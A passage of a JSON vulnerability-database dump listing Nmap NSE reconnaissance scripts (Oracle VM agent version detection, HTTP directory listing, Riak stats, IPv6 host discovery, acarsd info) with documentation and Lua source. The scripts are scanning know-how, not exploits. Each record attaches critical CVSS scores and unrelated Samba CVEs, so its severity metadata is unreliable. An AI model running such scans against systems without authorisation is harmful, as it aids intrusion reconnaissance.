2.2 string is returned, return \"2.2\". (2.) Send a `system.listMethods` method call. If an error is returned, return \"3.0\" or \"3.0.1\", depending on the specific format of the error.\n\n## Script Arguments \n\n#### slaxml.debug \n\nSee the documentation for the [slaxml](<../lib/slaxml.html#script-args>) library. \n\n#### http.host, http.max-body-size, http.max-cache-size, http.max-pipeline, http.pipeline, http.truncated-ok, http.useragent \n\nSee the documentation for the [http](<../lib/http.html#script-args>) library. \n\n#### smbdomain, smbhash, smbnoguest, smbpassword, smbtype, smbusername \n\nSee the documentation for the [smbauth](<../lib/smbauth.html#script-args>) library. \n\n## Example Usage \n \n \n nmap -sV <target>\n\n## Script Output \n \n \n PORT STATE SERVICE REASON VERSION\n 8899/tcp open ssl/ovs-agent syn-ack Oracle Virtual Server Agent 3.0 (BaseHTTP 0.3; Python SimpleXMLRPCServer; Python 2.5.2)\n\n## Requires \n\n * [http](<../lib/http.html>)\n * [nmap](<../lib/nmap.html>)\n * [shortport](<../lib/shortport.html>)\n * [string](<>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2011-03-02T07:39:31", "type": "nmap", "title": "ovs-agent-version NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2015-11-05T20:41:05", "id": "NMAP:OVS-AGENT-VERSION.NSE", "href": "https://nmap.org/nsedoc/scripts/ovs-agent-version.html", "sourceData": "local http = require \"http\"\nlocal nmap = require \"nmap\"\nlocal shortport = require \"shortport\"\nlocal string = require \"string\"\n\ndescription = [[\nDetects the version of an Oracle Virtual Server Agent by fingerprinting\nresponses to an HTTP GET request and an XML-RPC method call.\n\nVersion 2.2 of Virtual Server Agent returns a distinctive string in response to an\nHTTP GET request. However versions 3.0 and 3.0.1 return a generic response that\nlooks like any other BaseHTTP/SimpleXMLRPCServer. Versions 2.2 and 3.0 return a\ndistinctive error message in response to a <code>system.listMethods</code>\nXML-RPC call, which however does not distinguish the two versions. Version 3.0.1\nreturns a response to <code>system.listMethods</code> that is different from\nthat of both version 2.2 and 3.0. Therefore we use this strategy: (1.) Send a\nGET request. If the version 2.2 string is returned, return \"2.2\". (2.) Send a\n<code>system.listMethods</code> method call. If an error is\nreturned, return \"3.0\" or \"3.0.1\", depending on the specific format of the\nerror.\n]]\n\ncategories = {\"version\"}\n\n---\n-- @output\n-- PORT STATE SERVICE REASON VERSION\n-- 8899/tcp open ssl/ovs-agent syn-ack Oracle Virtual Server Agent 3.0 (BaseHTTP 0.3; Python SimpleXMLRPCServer; Python 2.5.2)\n\nauthor = \"David Fifield\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\n\n\nportrule = shortport.version_port_or_service({8899})\n\nlocal function set_port_version(host, port, version, server)\n port.version.name = \"ovs-agent\"\n port.version.product = \"Oracle Virtual Server Agent\"\n port.version.version = version\n if server then\n local basehttp, python = string.match(server, \"^BaseHTTP/([%d.]+) Python/([%d.]+)\")\n if basehttp and python then\n port.version.extrainfo = string.format(\"BaseHTTP %s; Python SimpleXMLRPCServer; Python %s\", basehttp, python)\n end\n end\n nmap.set_port_version(host, port)\nend\n\nfunction action(host, port)\n local response\n local version = {}\n\n response = http.get(host, port, \"/\")\n if response.status == 200 and string.match(response.body,\n \"<title>Python: OVSAgentServer Document</title>\") then\n set_port_version(host, port, \"2.2\", response.header[\"server\"])\n return\n end\n\n -- So much for version 2.2. If the response to GET was 501, then we may\n -- have a version 3.0 or 3.0.1.\n if not (response.status == 501) then\n return\n end\n\n response = http.post(host, port, \"/\",\n {header = {[\"Content-Type\"] = \"text/xml\"}}, nil,\n \"<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>\")\n if response.status == 403 and string.match(response.body,\n \"Message: Unauthorized HTTP Access Attempt from %('[%d.]+', %d+%)!%.\") then\n set_port_version(host, port, \"3.0\", response.header[\"server\"])\n return\n elseif response.status == 403 and string.match(response.body,\n \"Message: Unauthorized access attempt from %('[%d.]+', %d+%)!%.\") then\n set_port_version(host, port, \"3.0.1\", response.header[\"server\"])\n return\n end\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T21:43:24", "description": "Shows the content of an \"index\" Web page. \n\nTODO: \\- add support for more page formats\n\n## Script Arguments \n\n#### http-ls.url \n\nbase URL path to use (default: /)\n\n#### http-ls.checksum \n\ncompute a checksum for each listed file. Requires OpenSSL. (default: false)\n\n#### slaxml.debug \n\nSee the documentation for the [slaxml](<../lib/slaxml.html#script-args>) library. \n\n#### ls.checksum, ls.empty, ls.errors, ls.human, ls.maxdepth, ls.maxfiles \n\nSee the documentation for the [ls](<../lib/ls.html#script-args>) library. \n\n#### http.host, http.max-body-size, http.max-cache-size, http.max-pipeline, http.pipeline, http.truncated-ok, http.useragent \n\nSee the documentation for the [http](<../lib/http.html#script-args>) library. \n\n#### smbdomain, smbhash, smbnoguest, smbpassword, smbtype, smbusername \n\nSee the documentation for the [smbauth](<../lib/smbauth.html#script-args>) library. \n\n## Example Usage \n \n \n nmap -n -p 80 --script http-ls test-debit.free.fr\n \n\n## Script Output \n \n \n PORT STATE SERVICE\n 80/tcp open http\n | http-ls:\n | Volume /\n | maxfiles limit reached (10)\n | SIZE TIME FILENAME\n | 524288 02-Oct-2013 18:26 512.rnd\n | 1048576 02-Oct-2013 18:26 1024.rnd\n | 2097152 02-Oct-2013 18:26 2048.rnd\n | 4194304 02-Oct-2013 18:26 4096.rnd\n | 8388608 02-Oct-2013 18:26 8192.rnd\n | 16777216 02-Oct-2013 18:26 16384.rnd\n | 33554432 02-Oct-2013 18:26 32768.rnd\n | 67108864 02-Oct-2013 18:26 65536.rnd\n | 1073741824 03-Oct-2013 16:46 1048576.rnd\n | 188 03-Oct-2013 17:15 README.html\n |_\n \n\n## Requires \n\n * [http](<../lib/http.html>)\n * [shortport](<../lib/shortport.html>)\n * [stdnse](<../lib/stdnse.html>)\n * [string](<>)\n * [ls](<../lib/ls.html>)\n * [openssl](<../lib/openssl.html>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2015-09-04T12:52:10", "type": "nmap", "title": "http-ls NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2022-02-04T02:27:15", "id": "NMAP:HTTP-LS.NSE", "href": "https://nmap.org/nsedoc/scripts/http-ls.html", "sourceData": "local http = require \"http\"\nlocal shortport = require \"shortport\"\nlocal stdnse = require \"stdnse\"\nlocal string = require \"string\"\nlocal ls = require \"ls\"\nlocal have_ssl, openssl = pcall(require,'openssl')\n\ndescription = [[\nShows the content of an \"index\" Web page.\n\nTODO:\n - add support for more page formats\n]]\n\nauthor = \"Pierre Lalet\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = {\"default\", \"discovery\", \"safe\"}\n\n---\n-- @usage\n-- nmap -n -p 80 --script http-ls test-debit.free.fr\n--\n-- @args http-ls.checksum compute a checksum for each listed file. Requires OpenSSL.\n-- (default: false)\n-- @args http-ls.url base URL path to use (default: /)\n--\n-- @output\n-- PORT STATE SERVICE\n-- 80/tcp open http\n-- | http-ls:\n-- | Volume /\n-- | maxfiles limit reached (10)\n-- | SIZE TIME FILENAME\n-- | 524288 02-Oct-2013 18:26 512.rnd\n-- | 1048576 02-Oct-2013 18:26 1024.rnd\n-- | 2097152 02-Oct-2013 18:26 2048.rnd\n-- | 4194304 02-Oct-2013 18:26 4096.rnd\n-- | 8388608 02-Oct-2013 18:26 8192.rnd\n-- | 16777216 02-Oct-2013 18:26 16384.rnd\n-- | 33554432 02-Oct-2013 18:26 32768.rnd\n-- | 67108864 02-Oct-2013 18:26 65536.rnd\n-- | 1073741824 03-Oct-2013 16:46 1048576.rnd\n-- | 188 03-Oct-2013 17:15 README.html\n-- |_\n--\n-- @xmloutput\n-- <table key=\"volumes\">\n-- <table>\n-- <elem key=\"volume\">/</elem>\n-- <table key=\"files\">\n-- <table>\n-- <elem key=\"size\">524288</elem>\n-- <elem key=\"time\">02-Oct-2013 18:26</elem>\n-- <elem key=\"filename\">512.rnd</elem>\n-- </table>\n-- <table>\n-- <elem key=\"size\">1048576</elem>\n-- <elem key=\"time\">02-Oct-2013 18:26</elem>\n-- <elem key=\"filename\">1024.rnd</elem>\n-- </table>\n-- <table>\n-- <elem key=\"size\">2097152</elem>\n-- <elem key=\"time\">02-Oct-2013 18:26</elem>\n-- <elem key=\"filename\">2048.rnd</elem>\n-- </table>\n-- <table>\n-- <elem key=\"size\">4194304</elem>\n-- <elem key=\"time\">02-Oct-2013 18:26</elem>\n-- <elem key=\"filename\">4096.rnd</elem>\n-- </table>\n-- <table>\n-- <elem key=\"size\">8388608</elem>\n-- <elem key=\"time\">02-Oct-2013 18:26</elem>\n-- <elem key=\"filename\">8192.rnd</elem>\n-- </table>\n-- <table>\n-- <elem key=\"size\">16777216</elem>\n-- <elem key=\"time\">02-Oct-2013 18:26</elem>\n-- <elem key=\"filename\">16384.rnd</elem>\n-- </table>\n-- <table>\n-- <elem key=\"size\">33554432</elem>\n-- <elem key=\"time\">02-Oct-2013 18:26</elem>\n-- <elem key=\"filename\">32768.rnd</elem>\n-- </table>\n-- <table>\n-- <elem key=\"size\">67108864</elem>\n-- <elem key=\"time\">02-Oct-2013 18:26</elem>\n-- <elem key=\"filename\">65536.rnd</elem>\n-- </table>\n-- <table>\n-- <elem key=\"size\">1073741824</elem>\n-- <elem key=\"time\">03-Oct-2013 16:46</elem>\n-- <elem key=\"filename\">1048576.rnd</elem>\n-- </table>\n-- <table>\n-- <elem key=\"size\">188</elem>\n-- <elem key=\"time\">03-Oct-2013 17:15</elem>\n-- <elem key=\"filename\">README.html</elem>\n-- </table>\n-- </table>\n-- <table key=\"info\">\n-- <elem>maxfiles limit reached (10)</elem>\n-- </table>\n-- </table>\n-- </table>\n-- <table key=\"total\">\n-- <elem key=\"files\">10</elem>\n-- <elem key=\"bytes\">1207435452</elem>\n-- </table>\n\nportrule = shortport.http\n\nlocal function isdir(fname, size)\n -- we consider a file is (probably) a directory if its name\n -- terminates with a '/' or if the string representing its size is\n -- either empty or a single dash ('-').\n if string.sub(fname, -1, -1) == '/' then\n return true\n end\n if size == '' or size == '-' then\n return true\n end\n return false\nend\n\nlocal function list_files(host, port, url, output, maxdepth, basedir)\n basedir = basedir or \"\"\n\n local resp = http.get(host, port, url)\n\n if resp.location or not resp.body then\n return true\n end\n\n if not string.match(resp.body, \"<[Tt][Ii][Tt][Ll][Ee][^>]*> *[Ii][Nn][Dd][Ee][Xx] +[Oo][Ff]\") then\n return true\n end\n\n local patterns = {\n '<[Aa] [Hh][Rr][Ee][Ff]=\"([^\"]+)\">[^<]+</[Aa]> *</[Tt][Dd]><[Tt][Dd][^>]*> *([0-9]+-[A-Za-z0-9]+-[0-9]+ [0-9]+:[0-9]+) *</[Tt][Dd]><[Tt][Dd][^>]*> *([^<]-) *</[Tt][Dd]>',\n '<[Aa] [Hh][Rr][Ee][Ff]=\"([^\"]+)\">[^<]+</[Aa]> *([0-9]+-[A-Za-z0-9]+-[0-9]+ [0-9]+:[0-9]+) *([^ \\r\\n]+)',\n }\n for _, pattern in ipairs(patterns) do\n for fname, date, size in string.gmatch(resp.body, pattern) do\n local continue = true\n local directory = isdir(fname, size)\n if have_ssl and ls.config('checksum') and not directory then\n local checksum = \"\"\n local resp = http.get(host, port, url .. fname)\n if not resp.location and resp.body then\n checksum = stdnse.tohex(openssl.sha1(resp.body))\n end\n continue = ls.add_file(output, {size, date, basedir .. fname, checksum})\n else\n continue = ls.add_file(output, {size, date, basedir .. fname})\n end\n if not continue then\n return false\n end\n if directory then\n if string.sub(fname, -1, -1) ~= \"/\" then fname = fname .. '/' end\n continue = true\n if maxdepth > 0 then\n continue = list_files(host, port, url .. fname, output, maxdepth - 1,\n basedir .. fname)\n elseif maxdepth < 0 then\n continue = list_files(host, port, url .. fname, output, -1,\n basedir .. fname)\n end\n if not continue then\n return false\n end\n end\n end\n end\n return true\nend\n\naction = function(host, port)\n local url = stdnse.get_script_args(SCRIPT_NAME .. '.url') or \"/\"\n\n local output = ls.new_listing()\n ls.new_vol(output, url, false)\n local continue = list_files(host, port, url, output, ls.config('maxdepth'))\n if not continue then\n ls.report_info(\n output,\n string.format(\"maxfiles limit reached (%d)\", ls.config('maxfiles')))\n end\n ls.end_vol(output)\n return ls.end_listing(output)\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T09:36:23", "description": "Retrieves information (such as node name and architecture) from a Basho Riak distributed database using the HTTP protocol.\n\n## Script Arguments \n\n#### slaxml.debug \n\nSee the documentation for the [slaxml](<../lib/slaxml.html#script-args>) library. \n\n#### http.host, http.max-body-size, http.max-cache-size, http.max-pipeline, http.pipeline, http.truncated-ok, http.useragent \n\nSee the documentation for the [http](<../lib/http.html#script-args>) library. \n\n#### smbdomain, smbhash, smbnoguest, smbpassword, smbtype, smbusername \n\nSee the documentation for the [smbauth](<../lib/smbauth.html#script-args>) library. \n\n## Example Usage \n \n \n nmap -p 8098 <ip> --script riak-http-info\n \n\n## Script Output \n \n \n PORT STATE SERVICE\n 8098/tcp open http\n | riak-http-info:\n | Node name riak@127.0.0.1\n | Architecture x86_64-unknown-linux-gnu\n | Storage backend riak_kv_bitcask_backend\n | Total Memory 516550656\n | Crypto version 2.0.3\n | Skerl version 1.1.0\n | OS mon. version 2.2.6\n | Basho version 1.0.1\n | Lager version 0.9.4\n | Cluster info version 1.2.0\n | Luke version 0.2.4\n | SASL version 2.1.9.4\n | System driver version 1.5\n | Bitcask version 1.3.0\n | Riak search version 1.0.2\n | Riak kernel version 2.14.4\n | Riak stdlib version 1.17.4\n | Basho metrics version 1.0.0\n | WebMachine version 1.9.0\n | Public key version 0.12\n | Riak vore version 1.0.2\n | Riak pipe version 1.0.2\n | Runtime tools version 1.8.5\n | SSL version 4.1.5\n | MochiWeb version 1.5.1\n | Erlang JavaScript version 1.0.0\n | Riak kv version 1.0.2\n | Luwak version 1.1.2\n | Merge index version 1.0.1\n | Inets version 5.6\n |_ Riak sysmon version 1.0.0\n \n\n## Requires \n\n * [http](<../lib/http.html>)\n * [json](<../lib/json.html>)\n * [shortport](<../lib/shortport.html>)\n * [stdnse](<../lib/stdnse.html>)\n * [tab](<../lib/tab.html>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2012-01-02T11:37:38", "type": "nmap", "title": "riak-http-info NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2015-12-05T10:16:51", "id": "NMAP:RIAK-HTTP-INFO.NSE", "href": "https://nmap.org/nsedoc/scripts/riak-http-info.html", "sourceData": "local http = require \"http\"\nlocal json = require \"json\"\nlocal shortport = require \"shortport\"\nlocal stdnse = require \"stdnse\"\nlocal tab = require \"tab\"\n\ndescription = [[\nRetrieves information (such as node name and architecture) from a Basho Riak distributed database using the HTTP protocol.\n]]\n\n---\n-- @usage\n-- nmap -p 8098 <ip> --script riak-http-info\n--\n-- @output\n-- PORT STATE SERVICE\n-- 8098/tcp open http\n-- | riak-http-info:\n-- | Node name riak@127.0.0.1\n-- | Architecture x86_64-unknown-linux-gnu\n-- | Storage backend riak_kv_bitcask_backend\n-- | Total Memory 516550656\n-- | Crypto version 2.0.3\n-- | Skerl version 1.1.0\n-- | OS mon. version 2.2.6\n-- | Basho version 1.0.1\n-- | Lager version 0.9.4\n-- | Cluster info version 1.2.0\n-- | Luke version 0.2.4\n-- | SASL version 2.1.9.4\n-- | System driver version 1.5\n-- | Bitcask version 1.3.0\n-- | Riak search version 1.0.2\n-- | Riak kernel version 2.14.4\n-- | Riak stdlib version 1.17.4\n-- | Basho metrics version 1.0.0\n-- | WebMachine version 1.9.0\n-- | Public key version 0.12\n-- | Riak vore version 1.0.2\n-- | Riak pipe version 1.0.2\n-- | Runtime tools version 1.8.5\n-- | SSL version 4.1.5\n-- | MochiWeb version 1.5.1\n-- | Erlang JavaScript version 1.0.0\n-- | Riak kv version 1.0.2\n-- | Luwak version 1.1.2\n-- | Merge index version 1.0.1\n-- | Inets version 5.6\n-- |_ Riak sysmon version 1.0.0\n--\n\nauthor = \"Patrik Karlsson\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = {\"discovery\", \"safe\"}\n\n\nportrule = shortport.port_or_service(8098, \"http\")\n\nlocal filter = {\n [\"sys_system_architecture\"] = { name = \"Architecture\" },\n [\"mem_total\"] = { name = \"Total Memory\" },\n [\"crypto_version\"] = { name = \"Crypto version\" },\n [\"skerl_version\"] = { name = \"Skerl version\" },\n [\"os_mon_version\"] = { name = \"OS mon. version\" },\n [\"nodename\"] = { name = \"Node name\" },\n [\"basho_stats_version\"] = { name = \"Basho version\" },\n [\"lager_version\"] = { name = \"Lager version\" },\n [\"cluster_info_version\"] = { name = \"Cluster info version\" },\n [\"luke_version\"] = { name = \"Luke version\" },\n [\"sasl_version\"] = { name = \"SASL version\" },\n [\"sys_driver_version\"] = { name = \"System driver version\" },\n [\"bitcask_version\"] = { name = \"Bitcask version\" },\n [\"riak_search_version\"] = { name = \"Riak search version\" },\n [\"kernel_version\"] = { name = \"Riak kernel version\" },\n [\"stdlib_version\"] = { name = \"Riak stdlib version\" },\n [\"basho_metrics_version\"] = { name = \"Basho metrics version\" },\n [\"webmachine_version\"] = { name = \"WebMachine version\" },\n [\"public_key_version\"] = { name = \"Public key version\" },\n [\"riak_core_version\"] = { name = \"Riak vore version\" },\n [\"riak_pipe_version\"] = { name = \"Riak pipe version\" },\n [\"runtime_tools_version\"] = { name = \"Runtime tools version\" },\n [\"ssl_version\"] = { name = \"SSL version\" },\n [\"mochiweb_version\"] = { name = \"MochiWeb version\"},\n [\"erlang_js_version\"] = { name = \"Erlang JavaScript version\" },\n [\"riak_kv_version\"] = { name = \"Riak kv version\" },\n [\"luwak_version\"] = { name = \"Luwak version\"},\n [\"merge_index_version\"] = { name = \"Merge index version\" },\n [\"inets_version\"] = { name = \"Inets version\" },\n [\"storage_backend\"] = { name = \"Storage backend\" },\n [\"riak_sysmon_version\"] = { name = \"Riak sysmon version\" },\n}\n\nlocal order = {\n \"nodename\", \"sys_system_architecture\", \"storage_backend\", \"mem_total\",\n \"crypto_version\", \"skerl_version\", \"os_mon_version\", \"basho_stats_version\",\n \"lager_version\", \"cluster_info_version\", \"luke_version\", \"sasl_version\",\n \"sys_driver_version\", \"bitcask_version\", \"riak_search_version\",\n \"kernel_version\", \"stdlib_version\", \"basho_metrics_version\",\n \"webmachine_version\", \"public_key_version\", \"riak_core_version\",\n \"riak_pipe_version\", \"runtime_tools_version\", \"ssl_version\",\n \"mochiweb_version\", \"erlang_js_version\", \"riak_kv_version\",\n \"luwak_version\", \"merge_index_version\", \"inets_version\", \"riak_sysmon_version\"\n}\n\n\nlocal function fail(err) return stdnse.format_output(false, err) end\n\naction = function(host, port)\n\n local response = http.get(host, port, \"/stats\")\n\n if ( not(response) or response.status ~= 200 ) then\n return\n end\n\n -- Identify servers that answer 200 to invalid HTTP requests and exit as these would invalidate the tests\n local status_404, result_404, _ = http.identify_404(host,port)\n if ( status_404 and result_404 == 200 ) then\n stdnse.debug1(\"Exiting due to ambiguous response from web server on %s:%s. All URIs return status 200.\", host.ip, port.number)\n return nil\n end\n\n -- Silently abort if the server responds as anything different than\n -- MochiWeb\n if ( response.header['server'] and\n not(response.header['server']:match(\"MochiWeb\")) ) then\n return\n end\n\n local status, parsed = json.parse(response.body)\n if ( not(status) ) then\n return fail(\"Failed to parse response\")\n end\n\n local result = tab.new(2)\n for _, item in ipairs(order) do\n if ( parsed[item] ) then\n local name = filter[item].name\n local val = ( filter[item].func and filter[item].func(parsed[item]) or parsed[item] )\n tab.addrow(result, name, val)\n end\n end\n return stdnse.format_output(true, tab.dump(result))\n\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T09:33:51", "description": "Sends an ICMPv6 packet with an invalid extension header to the all-nodes link-local multicast address (`ff02::1`) to discover (some) available hosts on the LAN. This works because some hosts will respond to this probe with an ICMPv6 Parameter Problem packet.\n\n## Script Arguments \n\n#### newtargets \n\nIf true, add discovered targets to the scan queue.\n\n#### targets-ipv6-multicast-invalid-dst.interface \n\nThe interface to use for host discovery.\n\n#### max-newtargets \n\nSee the documentation for the [target](<../lib/target.html#script-args>) library. \n\n## Example Usage \n \n \n ./nmap -6 --script=targets-ipv6-multicast-invalid-dst.nse --script-args 'newtargets,interface=eth0' -sP\n\n## Script Output \n \n \n Pre-scan script results:\n | targets-ipv6-multicast-invalid-dst:\n | IP: 2001:0db8:0000:0000:0000:0000:0000:0001 MAC: 11:22:33:44:55:66 IFACE: eth0\n |_ Use --script-args=newtargets to add the results as targets\n\n## Requires \n\n * [coroutine](<>)\n * [ipOps](<../lib/ipOps.html>)\n * [nmap](<../lib/nmap.html>)\n * [packet](<../lib/packet.html>)\n * [stdnse](<../lib/stdnse.html>)\n * [string](<>)\n * [tab](<../lib/tab.html>)\n * [table](<>)\n * [target](<../lib/target.html>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2011-09-02T04:11:00", "type": "nmap", "title": "targets-ipv6-multicast-invalid-dst NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-7494", "CVE-2012-1182"], "modified": "2016-06-09T22:46:42", "id": "NMAP:TARGETS-IPV6-MULTICAST-INVALID-DST.NSE", "href": "https://nmap.org/nsedoc/scripts/targets-ipv6-multicast-invalid-dst.html", "sourceData": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T21:47:49", "description": "Retrieves information from a listening acarsd daemon. Acarsd decodes ACARS (Aircraft Communication Addressing and Reporting System) data in real time. The information retrieved by this script includes the daemon version, API version, administrator e-mail address and listening frequency. \n\nFor more information about acarsd, see: \n\n * <http://www.acarsd.org/>\n\n## Script Arguments \n\n#### acarsd-info.timeout \n\nSet the timeout in seconds. The default value is 10.\n\n#### acarsd-info.bytes \n\nSet the number of bytes to retrieve. The default value is 512.\n\n## Example Usage \n \n \n nmap --script acarsd-info --script-args \"acarsd-info.timeout=10,acarsd-info.bytes=512\" -p <port> <host>\n \n\n## Script Output \n \n \n PORT STATE SERVICE\n 2202/tcp open unknown\n | acarsd-info:\n | Version: 1.65\n | API Version: API-2005-Oct-18\n | Authorization Required: 0\n | Admin E-mail: admin@acarsd\n | Clients Connected: 1\n |_ Frequency: 131.7250 & 131.45\n \n\n## Requires \n\n * [comm](<../lib/comm.html>)\n * [nmap](<../lib/nmap.html>)\n * [shortport](<../lib/shortport.html>)\n * [stdnse](<../lib/stdnse.html>)\n * [string](<>)\n * [table](<>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2012-03-08T18:22:00", "type": "nmap", "title": "acarsd-info NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2015-11-05T20:41:05", "id": "NMAP:ACARSD-INFO.NSE", "href": "https://nmap.org/nsedoc/scripts/acarsd-info.html", "sourceData": "local comm = require \"comm\"\nlocal nmap = require \"nmap\"\nlocal shortport = require \"shortport\"\nlocal stdnse = require \"stdnse\"\nlocal string = require \"string\"\nlocal table = require \"table\"\n\ndescription = [[\nRetrieves information from a listening acarsd daemon. Acarsd decodes\nACARS (Aircraft Communication Addressing and Reporting System) data in\nreal time. The information retrieved by this script includes the\ndaemon version, API version, administrator e-mail address and\nlistening frequency.\n\nFor more information about acarsd, see:\n* http://www.acarsd.org/\n]]\n\n---\n-- @usage\n-- nmap --script acarsd-info --script-args \"acarsd-info.timeout=10,acarsd-info.bytes=512\" -p <port> <host>\n--\n-- @output\n-- PORT STATE SERVICE\n-- 2202/tcp open unknown\n-- | acarsd-info:\n-- | Version: 1.65\n-- | API Version: API-2005-Oct-18\n-- | Authorization Required: 0\n-- | Admin E-mail: admin@acarsd\n-- | Clients Connected: 1\n-- |_ Frequency: 131.7250 & 131.45\n--\n-- @args acarsd-info.timeout\n-- Set the timeout in seconds. The default value is 10.\n-- @args acarsd-info.bytes\n-- Set the number of bytes to retrieve. The default value is 512.\n--\n-- @changelog\n-- 2012-02-23 - v0.1 - created by Brendan Coles - itsecuritysolutions.org\n--\n\nauthor = \"Brendan Coles\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = {\"safe\",\"discovery\"}\n\n\nportrule = shortport.port_or_service (2202, \"acarsd\", {\"tcp\"})\n\naction = function(host, port)\n\n local result = {}\n\n -- Set timeout\n local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. \".timeout\"))\n if not timeout or timeout < 0 then timeout = 10 end\n\n -- Set bytes\n local bytes = tonumber(nmap.registry.args[SCRIPT_NAME .. '.bytes']) or 512\n\n -- Connect and retrieve acarsd info in XML format over TCP\n 